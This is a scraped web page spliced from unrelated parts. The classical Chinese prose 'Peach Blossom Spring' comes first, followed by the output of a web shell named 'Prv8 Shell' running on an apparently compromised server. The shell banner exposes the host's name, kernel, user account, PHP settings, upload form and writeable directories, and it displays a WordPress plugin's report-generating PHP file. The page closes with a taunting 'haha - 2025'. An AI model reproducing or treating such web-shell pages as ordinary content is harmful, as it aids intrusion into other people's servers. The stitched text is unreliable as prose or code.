晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/zhaket-updater/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/public_html/wp-content/plugins/zhaket-updater/inc/generate_report.php
<?php
defined('ABSPATH') || exit ("no access");

if (!isset($_GET['_wpnonce']) || !wp_verify_nonce($_GET['_wpnonce'],'generate_zhaket_report')) wp_die('no access');
global $wpdb;

ob_start();
phpinfo();
$php_info=ob_get_clean();
if (strlen($php_info)<10){
    error_reporting(E_ALL);
    ini_set('display_errors', TRUE);
    ob_start();
    phpinfo();
    echo '<br>php version:';
    echo phpversion();
    $php_info=ob_get_clean();
}

ob_start();
print_r($wpdb->dbh);
$database=ob_get_clean();


$settings=[
    'wordpress'=> get_bloginfo('version'),
    'database'=>$database,
    'zhaket_updater_version'=>get_plugin_data(WP_PLUGIN_DIR . '/zhaket-updater/zhaket-updater.php')['Version'],
    'all_plugins'=>get_plugins(),
    'all_themes'=>wp_get_themes(),
    'zhupclient_ver'=>get_option('zhupclient_ver'),
    'zhupclient_plugins'=>get_option('zhupclient_plugins'),
    'zhupclient_themes'=>get_option('zhupclient_themes'),
    'zhupclient_validate_domain'=>get_option('zhupclient_validate_domain'),
    'zhupclient_validate_result'=>get_option('zhupclient_validate_result'),
    'ZhUpClient_options'=>get_option('ZhUpClient_options'),
];

$table=$wpdb->prefix.'zhk_updater_logs';
$query="select * from {$table} ORDER BY id DESC LIMIT 200";
$result=$wpdb->get_results($query,ARRAY_A);
if ($wpdb->last_error)
    $result=$wpdb->last_error;
$ext=md5(microtime());
if (!is_dir(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report')) {
    mkdir( ZHUPCLIENT_PLUGIN_DIR.'/inc/_report' );
}
file_put_contents(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report/php_info_'.$ext,$php_info);
file_put_contents(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report/all_settings_'.$ext,json_encode($settings));
file_put_contents(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report/plugin_logs_'.$ext,json_encode($result));

$zip_result=Zhup_backup::caj_create_backup(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report',1,'generate-report','report');
unlink(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report/php_info_'.$ext);
unlink(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report/all_settings_'.$ext);
unlink(ZHUPCLIENT_PLUGIN_DIR.'/inc/_report/plugin_logs_'.$ext);

header('Location: '.$zip_result);
exit;

haha - 2025